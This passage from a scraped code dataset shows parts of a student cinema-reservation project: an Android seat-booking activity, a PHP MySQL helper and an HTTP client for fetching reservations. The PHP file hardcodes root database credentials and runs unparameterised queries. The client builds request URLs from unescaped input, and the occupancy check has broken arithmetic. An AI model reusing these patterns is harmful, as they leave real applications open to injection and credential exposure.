hr.air.mkino.baza.PrijavljeniKorisnikAdapter;\\r\\n\\r\\nimport hr.air.mkino.baza.ProjekcijeAdapter;\\r\\nimport hr.air.mkino.core.Prijava;\\r\\nimport hr.air.mkino.server.JsonDohvatiSjedala;\\r\\nimport hr.air.mkino.server.JsonRezervacija;\\r\\nimport hr.air.mkino.sucelja.ISlikaFilma;\\r\\nimport hr.air.mkino.tipovi.Korisnik;\\r\\nimport hr.air.mkino.tipovi.MultipleksInfo;\\r\\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\\r\\nimport hr.air.mkino.tipovi.RezervacijaInfo;\\r\\nimport hr.air.mkino.uzorcidizajna.UcitajSlikuFactory;\\r\\n\\r\\nimport android.app.Activity;\\r\\nimport android.app.AlertDialog;\\r\\nimport android.app.Dialog;\\r\\nimport android.content.Context;\\r\\nimport android.content.DialogInterface;\\r\\n\\r\\nimport android.content.Intent;\\r\\nimport android.os.Bundle;\\r\\n\\r\\nimport android.view.View;\\r\\n\\r\\nimport android.view.Window;\\r\\nimport android.view.View.OnClickListener;\\r\\n\\r\\nimport android.widget.Button;\\r\\nimport android.widget.ImageView;\\r\\n\\r\\nimport android.widget.TextView;\\r\\nimport android.widget.Toast;\\r\\n/**\\r\\n * Ovom su klasom ostvarene rezervacije.\\r\\n * @author bstivic\\r\\n *\\r\\n */\\r\\npublic class RezervacijaActivity extends Activity {\\r\\n\\t\\r\\n\\tCharSequence[] sjedalaPrikaz = {};\\r\\n\\tboolean [] sjedalaBool = {};\\r\\n\\tList<Integer> sjedalaZauzeta = new ArrayList<Integer>();\\r\\n\\tList<Integer> listaOdabranih = new ArrayList<Integer>();\\r\\n\\tfinal int BROJ_SJEDALA = 60;\\r\\n\\tfinal int OGRANICENJE_SJEDALA = 30;\\r\\n\\tfinal Context con = this;\\r\\n\\tboolean moguceRezervirati = true;\\r\\n\\tint idProjekcije;\\r\\n\\tProjekcijaInfo detaljiProjekcije;\\r\\n\\t\\r\\n\\t@Override\\r\\n\\tprotected void onCreate(Bundle savedInstanceState) {\\r\\n\\t\\tsuper.onCreate(savedInstanceState);\\r\\n\\t\\tsetContentView(R.layout.activity_rezervacije);\\r\\n\\t\\tsetTitle(\\\"Rezervacija projekcije\\\");\\r\\n\\t\\t\\r\\n\\t\\tTextView sjedalaTV = (TextView) findViewById(R.id.rezervacije_sjedala_txt);\\t\\r\\n\\t\\tButton btnMapaSjedala = (Button) findViewById(R.id.btn_rezervacije_mapa_sjedala);\\r\\n\\t\\tButton btnRezerviraj = (Button) findViewById(R.id.btn_rezervacija_rezerviraj);\\r\\n\\t\\tdetaljiProjekcije = dohvatiPodatkeZaProjekciju();\\r\\n\\t\\tprikaziPodatkeZaProjekciju(detaljiProjekcije);\\r\\n\\t\\tIntent i = getIntent();\\t\\r\\n\\r\\n\\t\\tfinal int idProjekcijeUBazi = i.getIntExtra(\\\"idProjekcijeUBazi\\\", 0);\\r\\n\\t\\tidProjekcije = idProjekcijeUBazi;\\r\\n\\t\\tJsonDohvatiSjedala dhSj = new JsonDohvatiSjedala();\\t\\t\\r\\n\\t\\tsjedalaZauzeta = dhSj.dohvatiSjedala(idProjekcijeUBazi);\\r\\n\\t\\t\\r\\n\\t\\tmoguceRezervirati = provjeriZauzetost();\\r\\n\\t\\r\\n\\t\\tfiltrirajSlobodnaSjedala();\\r\\n\\r\\n\\t\\t/* *\\r\\n\\t\\t * Ukoliko nije moguće rezervirati sjedala za odabranu projekciju iz pojedinih razloga, onda ćemo korisniku\\r\\n\\t\\t * zabraniti odabir sjedala, pregled mape i klik na rezervaciju!\\r\\n\\t\\t * */\\r\\n\\t\\tif(moguceRezervirati)\\r\\n\\t\\t{\\r\\n\\t\\t\\tsjedalaTV.setOnClickListener(new OnClickListener() {\\t\\t\\t\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onClick(View v) {\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tprikaziDijalog();\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t\\r\\n\\t\\t\\r\\n\\t\\t\\tfinal Dialog dialogSjedala = new Dialog(con);\\r\\n\\t\\t\\tdialogSjedala.requestWindowFeature(Window.FEATURE_NO_TITLE);\\r\\n\\t\\t\\tdialogSjedala.setContentView(R.layout.dialog_mapa_sjedala);\\r\\n\\t\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tbtnMapaSjedala.setOnClickListener(new OnClickListener() {\\t\\t\\t\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\t\\tdialogSjedala.show();\\r\\n\\t\\t\\t\\t\\tButton gumbZaIzlaz = (Button) dialogSjedala.findViewById(R.id.mapa_sjedala_nastavi_btn);\\r\\n\\t\\t\\t\\t\\tgumbZaIzlaz.setOnClickListener(new OnClickListener() {\\r\\n\\t\\t\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\t\\t\\t\\tdialogSjedala.hide();\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t});\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\tbtnRezerviraj.setOnClickListener(new OnClickListener() {\\t\\t\\t\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\t\\trezerviraj();\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tToast.makeText(this, R.string.rezervacija_nije_moguce_rezervirati, Toast.LENGTH_LONG).show();\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\t\\r\\n\\t/*\\r\\n\\t * Metoda koja prvo utvrđuje je li moguće izvršiti rezervaciju,\\r\\n\\t * ukoliko nije moguće izvršiti rezervaciju korisniku se prikazuje poruka. \\r\\n\\t * Ako korisnik nije odabrao sjedala za projekciju rezervacija se obustavlja i prikazuje se poruka.\\r\\n\\t * Ukoliko su svi preuvjeti zadovoljeni nastavlja se korak rezervacije.\\r\\n\\t * */\\r\\n\\tpublic void rezerviraj()\\r\\n\\t{\\r\\n\\t\\tPrijavljeniKorisnikAdapter prijavljeniKorisnik = new PrijavljeniKorisnikAdapter(this);\\r\\n\\t\\tKorisnik korisnik = prijavljeniKorisnik.dohvatiPrijavljenogKorisnika();\\r\\n\\t\\tContext context = this;\\r\\n \\tPrijava prijava = new Prijava();\\r\\n\\t\\t\\r\\n\\t\\tif(!moguceRezervirati)\\r\\n\\t\\t{\\r\\n\\t\\t\\tToast.makeText(this, R.string.rezervacija_nije_moguce_rezervirati, Toast.LENGTH_LONG).show();\\r\\n\\t\\t}\\r\\n\\t\\telse if(listaOdabranih.size() == 0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tToast.makeText(this, R.string.rezervacija_odaberite_sjedala, Toast.LENGTH_LONG).show();\\r\\n\\t\\t}\\r\\n\\t\\telse if( korisnik == null)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprijava.prikaziDijalog(context);\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tJsonRezervacija jsonRezervacije = new JsonRezervacija();\\r\\n\\t\\t\\tRezervacijaInfo rezervacija = jsonRezervacije.rezerviraj(korisnik.getKorisnickoIme(), idProjekcije, listaOdabranih);\\r\\n\\t\\t\\tif(rezervacija == null)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tAlertDialog.Builder builder = new AlertDialog.Builder(this);\\r\\n\\t\\t builder.setMessage(R.string.rezervacija_pogreska_kod_registracije)\\r\\n\\t\\t .setPositiveButton(R.string.rezervacija_shvacam, new DialogInterface.OnClickListener() {\\r\\n\\t\\t public void onClick(DialogInterface dialog, int id) {\\r\\n\\t\\t \\t \\r\\n\\t\\t \\r\\n\\t\\t }\\r\\n\\t\\t });\\r\\n\\t\\t builder.show();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\telse\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tAlertDialog.Builder builder = new AlertDialog.Builder(this);\\r\\n\\t\\t builder.setTitle(R.string.rezervacija_uspjesna)\\r\\n\\t\\t \\t\\t.setMessage(\\\"Kod rezervacije: \\\" + rezervacija.getKodRezervacije())\\r\\n\\t\\t .setPositiveButton(R.string.rezervacija_nastavi, new DialogInterface.OnClickListener() {\\r\\n\\t\\t public void onClick(DialogInterface dialog, int id) {\\r\\n\\t\\t \\t RezervacijaActivity.this.finish();\\r\\n\\t\\t \\t Intent intent = new Intent(RezervacijaActivity.this, PocetnaActivity.class);\\r\\n\\t\\t startActivity(intent);\\r\\n\\t\\t }\\r\\n\\t\\t });\\r\\n\\t\\t builder.show();\\r\\n\\t\\t \\r\\n\\t\\t \\r\\n\\t\\t \\r\\n\\t\\t \\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\t\\r\\n\\tpublic float IzracunajCijenu()\\r\\n\\t{\\r\\n\\t\\treturn listaOdabranih.size() * detaljiProjekcije.getCijena();\\r\\n\\t}\\r\\n\\t/**\\r\\n\\t * Metoda koja provjerava je li moguće rezervirati sjedala za projekciju. Ako je projekcija rezervirana više od 30% nije moguće rezervirati ulaznice\\r\\n\\t * @return true ako je moguće, false ako je nemoguće\\r\\n\\t */\\r\\n\\tpublic boolean provjeriZauzetost()\\r\\n\\t{\\r\\n\\t\\tfloat postotakZauzetosti = 0;\\r\\n\\t\\tif(sjedalaZauzeta.size() != 0 ) \\r\\n\\t\\t\\tpostotakZauzetosti = BROJ_SJEDALA / sjedalaZauzeta.size()*100;\\r\\n\\t\\telse \\r\\n\\t\\t\\treturn true;\\r\\n\\t\\tif(postotakZauzetosti <= 100-OGRANICENJE_SJEDALA)\\r\\n\\t\\t\\treturn false;\\r\\n\\t\\telse\\r\\n\\t\\t\\treturn true;\\r\\n\\t}\\r\\n\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Metoda koja služi za dohvaćanje podataka o projekciji\\r\\n\\t * @return projekcija\\r\\n\\t */\\r\\n\\tprivate ProjekcijaInfo dohvatiPodatkeZaProjekciju() {\\r\\n\\t\\tIntent i = getIntent();\\r\\n\\t\\tint idProjekcijeUBazi = i.getIntExtra(\\\"idProjekcijeUBazi\\\", 0);\\r\\n\\t\\t\\r\\n\\t\\tProjekcijeAdapter pa = new ProjekcijeAdapter(this);\\r\\n\\t\\r\\n\\t\\treturn pa.dohvatiProjekciju(idProjekcijeUBazi, this);\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Metoda koja služi za prikaz podataka o projekciji na osnovu proslijeđene projekcije\\r\\n\\t * @param projekcija\\r\\n\\t */\\r\\n\\tprivate void prikaziPodatkeZaProjekciju(ProjekcijaInfo detaljiProjekcije) {\\r\\n\\t\\tTextView naslov = (TextView) findViewById(R.id.projekcija_naslov_filma);\\r\\n\\r\\n\\t\\tImageView slika = (ImageView) findViewById(R.id.projekcija_slikaFilma);\\r\\n\\t\\tTextView dvorana = (TextView) findViewById(R.id.txt_rezervacije_dvorana);\\r\\n\\t\\tTextView vrijeme = (TextView) findViewById(R.id.txt_rezervacije_vrijeme);\\r\\n\\t\\tTextView multipleks = (TextView) findViewById(R.id.txt_rezervacije_grad);\\r\\n\\t\\tTextView cijena = (TextView) findViewById(R.id.rezervacija_cijena);\\r\\n\\t\\tnaslov.setText(detaljiProjekcije.getNaziv());\\r\\n\\t\\tcijena.setText(\\\"0.00\\\");\\r\\n\\t\\tdvorana.setText(\\\"Dvorana \\\"+detaljiProjekcije.getDvorana());\\t\\t\\r\\n\\t\\tString vrijePocetkString = detaljiProjekcije.getVrijemePocetka();\\r\\n\\t\\tvrijeme.setText(vrijePocetkString);\\r\\n\\t\\t\\r\\n\\t\\t//dohvaćanje multipleksa iz lokalne baze podatka\\r\\n\\t\\tMultipleksAdapter ma = new MultipleksAdapter(this);\\r\\n\\t\\tMultipleksInfo multipl = ma.dohvatiMultipleks(detaljiProjekcije.getMultipleks());\\r\\n\\t\\tif(multipl != null) multipleks.setText(multipl.getNaziv());\\t\\t\\r\\n\\t\\t\\r\\n\\t\\tISlikaFilma sf = UcitajSlikuFactory.ucitaj(this, detaljiProjekcije.getIdFilma(), true);\\r\\n\\t\\tslika.setImageBitmap(sf.dohvatiVelikuSliku());\\r\\n\\t\\t\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Metoda koja služi za prikaz dijaloga sa popisom slobodnih sjedala\\r\\n\\t * Nakon odabira sjedala navedeni se spremaju u listu odabranih sjedala\\r\\n\\t */\\r\\n\\tprivate void prikaziDijalog(){\\t\\t\\t\\r\\n\\t\\tAlertDialog.Builder builder = new AlertDialog.Builder(this);\\r\\n builder.setTitle(R.string.odabir_sjedala_txt_odaberi_sjedalo) \\r\\n .setMultiChoiceItems(sjedalaPrikaz, sjedalaBool,\\r\\n new DialogInterface.OnMultiChoiceClickListener() {\\r\\n @Override\\r\\n public void onClick(DialogInterface dialog, int which,\\r\\n boolean isChecked) {\\r\\n \\t String parsiran = (String) sjedalaPrikaz[which];\\r\\n \\t String[] pars = parsiran.split(\\\" \\\");\\r\\n if (isChecked) {\\r\\n // If the user checked the item, add it to the selected items \\t\\r\\n \\t listaOdabranih.add(Integer.parseInt(pars[1]));\\r\\n } else \\r\\n {\\r\\n \\t for (Iterator<Integer> iter = listaOdabranih.listIterator(); iter.hasNext(); ) {\\r\\n \\t\\t int a = iter.next();\\r\\n \\t\\t int b = Integer.parseInt(pars[1]);\\r\\n \\t\\t if ( b == a) {\\r\\n \\t\\t iter.remove();\\r\\n \\t\\t }\\r\\n \\t\\t}\\r\\n \\t\\r\\n }\\r\\n azurirajOdabranaMjesta();\\r\\n /*TODO prikazi cijenu na layoutu i invalidate napravi*/\\r\\n \\r\\n \\r\\n }\\r\\n }) \\r\\n .setPositiveButton(R.string.odabir_sjedala_btn_prihvati, new DialogInterface.OnClickListener() {\\r\\n public void onClick(DialogInterface dialog, int id) {\\r\\n // RezervacijaActivity.this.finish();\\r\\n }\\r\\n });\\r\\n \\r\\n builder.create().show(); \\r\\n\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Metoda koja ažurira popis odabranih mjesta\\r\\n\\t */\\r\\n\\tpublic void azurirajOdabranaMjesta()\\r\\n\\t{\\r\\n\\t\\tTextView sjedalaTV = (TextView) findViewById(R.id.rezervacije_sjedala_txt);\\t\\r\\n\\t\\tTextView cijena = (TextView) findViewById(R.id.rezervacija_cijena);\\r\\n\\t\\tif(listaOdabranih.size() == 0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tsjedalaTV.setText(R.string.odabir_sjedala_txt_odaberi_sjedalo);\\r\\n\\t\\t\\tcijena.setText(\\\"0.00\\\");\\r\\n\\t\\t\\tsjedalaTV.invalidate();\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tcijena.setText(Float.toString(IzracunajCijenu()));\\r\\n\\t\\t\\tcijena.invalidate();\\r\\n\\t\\t\\tString text = \\\"\\\";\\r\\n\\t\\t\\tfor (Integer sjedalo : listaOdabranih) {\\r\\n\\t\\t\\t\\ttext += (\\\"\\\"+ Integer.toString(sjedalo)+\\\", \\\");\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\ttext = text.substring(0,text.length()-3);\\r\\n\\t\\t\\tsjedalaTV.setText(text);\\r\\n\\t\\t\\tsjedalaTV.invalidate();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Metoda koja ubacuje slobodna sjedala u listu slobodnih sjedala, te dodjeljuje niz odabranih vrijednosti u checkboxu\\r\\n\\t */\\r\\n\\tpublic void filtrirajSlobodnaSjedala()\\r\\n\\t{\\r\\n\\t\\t\\r\\n\\t\\tint indeksNiza = 0;\\r\\n\\t\\tif(sjedalaZauzeta != null)\\r\\n\\t\\t{\\r\\n\\t\\t\\tint brojSlobodnihSj = BROJ_SJEDALA - sjedalaZauzeta.size();\\r\\n\\t\\t\\tsjedalaBool = new boolean[brojSlobodnihSj];\\r\\n\\t\\t\\tsjedalaPrikaz = new CharSequence[brojSlobodnihSj];\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tfor (int i = 1; i<=BROJ_SJEDALA; i++)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(!sjedalaZauzeta.contains(i))\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tsjedalaPrikaz[indeksNiza] = \\\"Sjedalo \\\" + Integer.toString(i);\\r\\n\\t\\t\\t\\t\\tsjedalaBool[indeksNiza] = false;\\r\\n\\t\\t\\t\\t\\tindeksNiza += 1;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tint brojSlobodnihSj = BROJ_SJEDALA;\\r\\n\\t\\t\\tsjedalaBool = new boolean[brojSlobodnihSj];\\r\\n\\t\\t\\tsjedalaPrikaz = new CharSequence[brojSlobodnihSj];\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t//punimo nizove sa prikazom slobodnih sjedala i opcijom odabira checkboxa\\r\\n\\t\\t\\tfor (int i = 1; i<=BROJ_SJEDALA; i++)\\r\\n\\t\\t\\t{\\t\\t\\t\\t\\r\\n\\t\\t\\t\\tsjedalaPrikaz[indeksNiza] = \\\"Sjedalo \\\" +Integer.toString(i);\\r\\n\\t\\t\\t\\tsjedalaBool[indeksNiza] = false;\\r\\n\\t\\t\\t\\tindeksNiza += 1;\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\r\\n\\t\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.44540902972221375,\n \"alphanum_fraction\": 0.4504173696041107,\n \"avg_line_length\": 24.289474487304688,\n \"blob_id\": \"6f2864fa2bee298a8a71e8a9290abace6266a067\",\n \"content_id\": \"bbd104128d9a0c1b18b4aff7bbf33797b531e8a0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"PHP\",\n \"length_bytes\": 3005,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 114,\n \"path\": \"/server-side/Datoteke/skripte/DB_connect.php\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"<?php\\r\\n //klasa za izvršavanje upita nad bazom\\r\\n define(\\\"HOST\\\", \\\"localhost\\\");\\r\\n define(\\\"USER\\\", \\\"root\\\");\\r\\n define(\\\"PASS\\\", \\\"123456\\\");\\r\\n define(\\\"BAZA\\\", \\\"airbaza\\\");\\r\\n\\r\\n class Upit {\\r\\n public $conn;\\r\\n\\r\\n function __construct() {\\r\\n $this->conn = new mysqli(HOST, USER, PASS, BAZA);\\r\\n if ($this->conn->connect_errno) {\\r\\n die('Pogreška pri spajanju na bazu podataka. Jesu li podaci ispravno uneseni? MySQL kaže: <br>'\\r\\n . $this->conn->connect_error);\\r\\n } \\r\\n $this->conn->set_charset(\\\"utf8\\\");\\r\\n }\\r\\n\\r\\n function Izvrsi($upit) {\\r\\n $rezultat = $this->conn->query($upit);\\r\\n\\r\\n if(! $rezultat) {\\r\\n die(\\\"Problem pri uonsu u bazu. MySQL kaže: <br>\\\" . $this->conn->error);\\r\\n } else {\\r\\n return $rezultat;\\r\\n }\\r\\n }\\r\\n\\r\\n function __destruct() {\\r\\n $this->conn->close();\\r\\n }\\r\\n \\r\\n }\\r\\n \\r\\n//******************************************************************************************************************//\\r\\n //Ova funkcija služi za brže izvršavanje sql upita\\r\\n function Upit($naredba) {\\r\\n /*$upit = new Upit();\\r\\n $upit->Izvrsi(\\\"SET CHARACTER SET utf8\\\");\\r\\n unset($upit);*/\\r\\n $upit = new Upit();\\r\\n $rezultat = $upit->Izvrsi($naredba);\\r\\n unset($upit);\\r\\n return $rezultat;\\r\\n }\\r\\n //transakcije\\r\\n function begin()\\r\\n {\\r\\n Upit(\\\"BEGIN\\\");\\r\\n }\\r\\n function commit()\\r\\n {\\r\\n Upit(\\\"COMMIT\\\");\\r\\n }\\r\\n function rollback()\\r\\n {\\r\\n Upit(\\\"ROLLBACK\\\");\\r\\n }\\r\\n //funkcija za izvršavanje transakcije\\r\\n function Transakcija($upit)\\r\\n {\\r\\n $rezultat = Upit($upit); \\r\\n \\r\\n if ($rezultat > 0)\\r\\n {\\r\\n // $rezultat->fetch_assoc(); \\r\\n return $rezultat;\\r\\n\\r\\n } else\\r\\n { \\r\\n //print_r($rezultat);\\r\\n $zapis = -6;\\r\\n return $zapis;\\r\\n }\\r\\n }\\r\\n\\t\\r\\n\\tfunction BrisanjeIzBaze($naredba)\\r\\n\\t{\\r\\n\\t\\t$upit = new Upit();\\r\\n\\t\\t$upit->Izvrsi($naredba);\\r\\n\\t\\t\\r\\n\\t\\t$zapis = array();\\r\\n\\t\\tif ($upit->conn->affected_rows > 0)\\r\\n\\t\\t{\\r\\n\\t\\t\\t$zapis[0] = array(\\\"povratnaInformacijaId\\\" => 0, \\\"povratnaInformacijaTekst\\\" => utf8_encode(\\\"Uspješno obrisano\\\"));\\r\\n\\t\\t} else\\r\\n\\t\\t{\\r\\n\\t\\t\\t$zapis[0] = array(\\\"povratnaInformacijaId\\\" => -8, \\\"povratnaInformacijaTekst\\\" => utf8_encode(\\\"Ništa nije obrisano\\\"));\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn $zapis;\\r\\n\\t}\\r\\n \\r\\n function UpitUBazu($upit)\\r\\n {\\r\\n $rezultat = Upit($upit);\\r\\n $zapisi = array();\\r\\n if ($rezultat->num_rows > 0)\\r\\n {\\r\\n while ($zapis = $rezultat->fetch_assoc())\\r\\n {\\r\\n $zapisi[] = $zapis;\\r\\n }\\r\\n \\r\\n return $zapisi;\\r\\n } else\\r\\n {\\r\\n $zapis = array();\\r\\n $zapis[0] = array(\\\"povratnaInformacijaId\\\" => 1, \\\"povratnaInformacijaTekst\\\" => utf8_encode(\\\"Nema zapisa\\\"));\\r\\n return $zapis;\\r\\n }\\r\\n }\\r\\n?>\"\n },\n {\n \"alpha_fraction\": 0.6906993389129639,\n \"alphanum_fraction\": 0.6928622722625732,\n \"avg_line_length\": 27.72142791748047,\n \"blob_id\": \"b55fa5338f438c1e2ada8e50e2994150b6479b19\",\n \"content_id\": \"597678c0fc59ff0fdd93607b43818c9e7ff607e3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 4173,\n \"license_type\": \"no_license\",\n \"max_line_length\": 153,\n \"num_lines\": 140,\n \"path\": \"/client-side/src/hr/air/mkino/server/JsonMojeRezervacije.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\n\\r\\nimport hr.air.mkino.baza.ProjekcijeAdapter;\\r\\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\\r\\nimport hr.air.mkino.tipovi.RezervacijaInfo;\\r\\nimport java.io.IOException;\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.List;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\nimport org.apache.http.client.ClientProtocolException;\\r\\nimport org.apache.http.client.HttpClient;\\r\\nimport org.apache.http.client.ResponseHandler;\\r\\nimport org.apache.http.client.methods.HttpGet;\\r\\nimport org.apache.http.impl.client.BasicResponseHandler;\\r\\nimport org.apache.http.impl.client.DefaultHttpClient;\\r\\nimport org.json.JSONArray;\\r\\nimport org.json.JSONException;\\r\\nimport org.json.JSONObject;\\r\\n\\r\\nimport android.content.Context;\\r\\nimport android.os.AsyncTask;\\r\\n/**\\r\\n * Klasa koja služi za dohvaćanje korisničkih rezervacija sa web servisa.\\r\\n * @author bstivic\\r\\n *\\r\\n */\\r\\npublic class JsonMojeRezervacije extends AsyncTask<String, Void, String> {\\r\\n\\t\\r\\n\\tpublic List<RezervacijaInfo> dohvati(String korisnickoIme, Context c)\\r\\n\\t{\\t\\t\\t\\t\\t\\r\\n\\t\\tthis.execute(korisnickoIme);\\r\\n\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonRezultat = this.get();\\r\\n\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\t\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\t\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn parsirajJson(jsonRezultat, c);\\t\\t\\t\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Metoda koja služi za parsiranje json odgovora servera\\r\\n\\t * @param jsonRezultat\\r\\n\\t * @param context\\r\\n\\t * @return lista rezervacija\\r\\n\\t */\\r\\n\\tprivate List<RezervacijaInfo> parsirajJson(String jsonRezultat, Context c) {\\t\\t\\r\\n\\t\\tList<RezervacijaInfo> rezervacija = new ArrayList<RezervacijaInfo>();\\t\\t\\r\\n\\t\\tProjekcijaInfo projekcija = null;\\r\\n\\t\\tProjekcijeAdapter projekcijaAdapter = new ProjekcijeAdapter(c);\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tint idRezervacije = 0 ;\\r\\n\\t\\t\\tint idProjekcije = -6;\\r\\n\\t\\t\\tint pomocniIdProjekcije = -7;\\r\\n\\t\\r\\n\\t\\t\\tList<Integer> sjedala = null;\\r\\n\\t\\t\\tString kodRezervacije = null;\\r\\n\\t\\t\\tJSONArray rezultati = new JSONArray(jsonRezultat);\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\tint n = rezultati.length();\\r\\n\\t\\t\\tfor(int i=0; i<n; i++) \\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tJSONObject rezultat = rezultati.getJSONObject(i);\\r\\n\\t\\t\\t\\tidProjekcije = rezultat.getInt(\\\"idProjekcije\\\");\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t//uvjet će se izvršiti ukoliko imamo više sjedala za istu projekciju, pa ih unosimo u listu i nije potrebno upisivat već poznate podatke o pr0jekciji\\r\\n\\t\\t\\t\\tif(idProjekcije == pomocniIdProjekcije)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tsjedala.add(rezultat.getInt(\\\"brojSjedala\\\"));\\t\\r\\n\\t\\t\\t\\t\\tif(i == n-1)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tprojekcija = projekcijaAdapter.dohvatiProjekciju(idProjekcije, c);\\r\\n\\t\\t\\t\\t\\t\\trezervacija.add(new RezervacijaInfo(idRezervacije, idProjekcije, \\\"\\\", kodRezervacije, sjedala, projekcija));\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t//inače se radi o drugoj projekciji pa je potrebno unijeti nove podatke\\r\\n\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif(i != 0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tprojekcija = projekcijaAdapter.dohvatiProjekciju(pomocniIdProjekcije, c);\\r\\n\\t\\t\\t\\t\\t\\trezervacija.add(new RezervacijaInfo(idRezervacije, pomocniIdProjekcije, \\\"\\\", kodRezervacije, sjedala, projekcija));\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tsjedala = new ArrayList<Integer>();\\r\\n\\t\\t\\t\\t\\tidRezervacije = rezultat.getInt(\\\"idRezervacije\\\");\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tkodRezervacije = rezultat.getString(\\\"kod\\\");\\r\\n\\t\\t\\t\\t\\tsjedala.add(rezultat.getInt(\\\"brojSjedala\\\"));\\t\\r\\n\\t\\t\\t\\t\\tpomocniIdProjekcije = idProjekcije;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t}\\t\\t\\t\\r\\n\\t\\tcatch (JSONException e) {\\t\\r\\n\\r\\n\\t\\t\\te.printStackTrace();\\t\\t\\t\\t\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn rezervacija;\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Pomoćna metoda koja u pozadini obrađuje http zahtjev (dohvaćanje podataka)\\r\\n\\t */\\r\\n\\t@Override\\r\\n\\tprotected String doInBackground(String... parametri) {\\r\\n\\t\\tString korisnik = parametri[0];\\r\\n\\r\\n\\t\\tHttpClient httpKlijent = new DefaultHttpClient();\\r\\n\\t\\tHttpGet httpZahtjev = new HttpGet(\\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=mr&korisnik=\\\"+korisnik);\\r\\n\\t\\t\\r\\n\\t\\tString jsonResult = \\\"\\\";\\r\\n\\t\\tResponseHandler<String> handler = new BasicResponseHandler();\\r\\n\\t\\t\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonResult = 